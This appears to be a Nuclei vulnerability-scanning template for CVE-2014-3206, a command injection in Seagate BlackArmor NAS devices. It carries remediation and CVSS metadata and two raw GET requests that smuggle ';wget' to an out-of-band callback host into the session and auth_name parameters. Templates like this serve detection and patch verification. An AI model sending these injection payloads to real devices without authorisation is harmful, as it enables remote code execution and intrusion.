Seagate BlackArmor NAS - Command Injection

id: CVE-2014-3206

info:
  name: Seagate BlackArmor NAS - Command Injection
  author: gy741
  severity: critical
  description: Seagate BlackArmor NAS allows remote attackers to execute arbitrary code via the session parameter to localhost/backupmgt/localJob.php or the auth_name parameter to localhost/backupmgmt/pre_connect_check.php.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands with the privileges of the affected device, potentially leading to unauthorized access, data loss, or further compromise of the network.
  remediation: |
    Apply the latest firmware update provided by Seagate to patch the command injection vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-3206
    - https://www.exploit-db.com/exploits/33159
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2014-3206
    cwe-id: CWE-20
    epss-score: 0.52892
    epss-percentile: 0.98833
    cpe: cpe:2.3:o:seagate:blackarmor_nas_220_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: seagate
    product: blackarmor_nas_220_firmware
  tags: cve2014,cve,seagate,rce,edb,vkev,vuln

http:
  - raw:
      - |
        GET /backupmgt/localJob.php?session=fail;wget+http://{{interactsh-url}}; HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
      - |
        GET /backupmgt/pre_connect_check.php?auth_name=fail;wget+http://{{interactsh-url}}; HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
# digest: 4a0a00473045022100a5deeed6c5824df815b0d17d8274f622d2bbe018f9b781c3fb4731146a15512a022030987019b145d2b5e829b41cd9d5b4ac750d12d680ac0dd4c6ad88f8722c9d4c:922c64590222798bb761d5b6d8e72950